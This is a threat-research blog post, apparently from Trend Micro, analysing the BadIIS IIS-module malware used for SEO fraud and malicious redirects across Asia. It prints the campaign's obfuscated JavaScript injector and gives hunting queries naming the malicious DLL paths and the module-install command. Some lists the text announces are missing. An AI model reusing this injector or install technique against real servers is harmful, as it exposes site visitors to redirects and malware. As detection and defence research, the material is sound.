Trend Micro

This blog post details our analysis of an SEO manipulation campaign targeting Asia. We also recommendations that can help enterprises proactively secure their environment.

By: Ted Lee, Lenart Bermejo Feb 07, 2025 Read time: ( words)

In 2024, we observed a substantial distribution of malware known as "BadIIS" in Asia. BadIIS targets Internet Information Services (IIS) and can be used for SEO fraud or to inject malicious content into the browsers of legitimate users. This includes displaying unauthorized ads, distributing malware, and even conducting watering hole attacks aimed at specific groups. In this campaign, threat actors exploit vulnerable IIS servers to install the BadIIS malware on the compromised servers. Once users send a request to a compromised server, they might receive altered content from attackers. This could lead to two potential outcomes:

Based on the file census and network traffic, we identified the impacted regions, including India, Thailand, Vietnam, Philippines, Singapore, Taiwan, South Korea , Japan, and Brazil. We also observed Bangladesh as a potential target. The targeted IIS servers include machines owned by the government, universities, technology companies, and telecommunications sectors. We noted that impacted regions were not restricted to the location of compromised machines. In most cases, the victims were located in the same region; however, we found that some were impacted when they visited compromised servers in different regions.

Through the information found from samples (e.g., extracted domain, string written in simplified Chinese), we think these variants were likely made and deployed by Chinese-speaking groups .

One of the attackers used batch files containing the following commands to install BadIIS modules after successfully exploiting the IIS server. Here’s the script used for BadIIS installation:

After analyzing the variants used in this campaign, we found out that they similarities in functionality and URL patterns with the variant previously used by Group11, as mentioned in the white paper of the Black Hat USA 2021 talk. However, the new variant features a handler called “OnSendResponse” instead of "OnBeginRequest."

The installed BadIIS can alter the HTTP response header information requested from the web server. It checks the “User-Agent” and “Referer” fields in the received HTTP header. If these fields contain specific portal sites or keywords, BadIIS redirects the user to a page associated with an online illegal gambling site instead of a legitimate web page. This functionality is designed to identify traffic from engine scrapers that may be used for SEO fraud.

In this mode, the installed BadIIS will inject the suspicious JavaScript code into the typical response for requests from legitimate visitors. Thus, visitors will be redirected to malicious websites.

The following obfuscated code is used for injection:

eval(function(p, a, c, k, e, r) { e = function(c) { return (c 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('m(d(p,a,c,k,e,r){e=d(c){f c.n(a)};h(!\'\'.i(/^/,o)){j(c--)r[e(c)]=k[c]||e(c);k=[d(e){f r[e]}];e=d(){f\'\\\\w+\'};c=1};j(c--)h(k[c])p=p.i(q s(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);f p}(\'1["2"]["3"](\\\' \\\');\',l,l,\'t|u|v|x|y|z|A|B|C|D|E|F|G\'.H(\'|\'),0,{}))', 44, 44, '|||||||||||||function||return||if|replace|while||13|eval|toString|String||new||RegExp|script|window|document||write|type|text|javascript|src| {js} |split'.split('|'), 0, {}))

The C&C URL is encrypted with single XOR key, "0x03", and decrypted during the runtime. The decoded code is shown below:

document.write( )

IIS is one of the services widely adopted by many organizations, and its misuse can lead to serious consequences. Attackers can exploit IIS vulnerabilities to serve malicious content to legitimate visitors of compromised websites. During recent campaigns, new variants were primarily used to deliver content related to online gambling. This approach can be easily adapted for mass malware distribution and watering hole attacks that target specific groups.

Thus, site owners face significant risks, which include damage to their reputation, potential legal consequences and loss of user trust, all due to the lack of security of their web servers. To mitigate these risks, IT managers should implement the following best practices:

Trend Vision One™ is an enterprise cybersecurity platform that simplifies security and helps enterprises detect and stop threats faster by consolidating multiple security capabilities, enabling greater command of the enterprise’s attack surface, and providing complete visibility into its cyber risk posture. The cloud-based platform leverages AI and threat intelligence from 250 million sensors and 16 threat research centers around the globe to provide comprehensive risk insights, earlier threat detection, and automated risk and threat response options in a single solution.

To stay ahead of evolving threats, Trend Vision One customers can access a range of Intelligence Reports and Threat Insights. Threat Insights helps customers stay ahead of cyber threats before they happen and allows them to prepare for emerging threats by offering comprehensive information on threat actors, their malicious activities, and their techniques. By leveraging this intelligence, customers can take proactive steps to protect their environments, mitigate risks, and effectively respond to threats.

Trend Vision One Intelligence Reports App [IOC Sweeping]

Trend Vision One Threat Insights App

Trend Vision One App

Trend Vision One customers can use the App to match or hunt the malicious indicators mentioned in this blog post with data in their environment.

eventSubId:105 AND (objectFilePath: "C:\ProgramData\Microsoft\DRM\HttpCgiModule.dll" OR objectFilePath: "C:\ProgramData\Microsoft\DRM\HttpFastCgiModule.dll")

objectCmd:"*install module /name:* /image:C:\\ProgramData\\Microsoft\\DRM\\*" OR processCmd:"*install module /name:* /image:C:\\ProgramData\\Microsoft\\DRM\\*"

More hunting queries are available for Trend Vision One customers with Threat Insights Entitlement enabled.

The indicators of compromise for this entry can be found here .